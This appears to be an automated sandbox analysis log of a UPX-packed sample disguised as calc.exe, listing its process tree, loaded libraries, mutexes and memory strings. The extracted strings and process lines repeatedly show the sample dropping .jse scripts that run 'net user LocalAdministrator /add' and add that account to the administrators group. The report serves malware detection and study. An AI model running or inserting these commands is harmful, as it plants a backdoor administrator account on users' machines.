Source: calc.exe, 0000001F.00000003.2215483375.00000000008CD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000027.00000003.2226128307.0000000000694000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000027.00000003.2226128307.0000000000694000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 00000027.00000003.2226174283.000000000069A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000027.00000003.2226174283.000000000069A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 00000030.00000003.2243064139.0000000000630000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000030.00000003.2243004923.000000000062A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: calc.exeStatic PE information: Section: UPX1 ZLIB complexity 0.9900420984455959
Source: classification engineClassification label: mal64.winEXE@93/7@0/0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041FE6D GetLastError,FormatMessageW,0_2_0041FE6D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,0_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,7_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004240D8 SetErrorMode,GetDiskFreeSpaceW,FreeLibrary,0_2_004240D8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00430DCB OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,CoCreateInstanceEx,CoSetProxyBlanket,0_2_00430DCB
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041605B FindResourceW,FindResourceW,LoadResource,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0041605B
Source: C:\Users\user\Desktop\calc.exeFile created: C:\Users\user\Desktop\fhZL0KwyiV.jseJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5412:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:972:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6512:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5764:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5200:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5676:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4620:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2196:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2740:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5912:120:WilError_03
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\calc.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: calc.exeString found in binary or memory: IWshShell3.Run("wscript.exe fhZL0KwyiV.jse", "1", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Users\user\Desktop\calc.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" IDsLsRQlEe.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" cNs6XgJUw5.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" rbLiDVEIXX.jse
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" iy4J2BVXGi.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" G0MZ6GMwly.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" fevGSHOMU4.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" fhZL0KwyiV.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" IDsLsRQlEe.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" cNs6XgJUw5.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" rbLiDVEIXX.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" iy4J2BVXGi.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" G0MZ6GMwly.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" fevGSHOMU4.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\net.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\calc.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dllJump to behavior
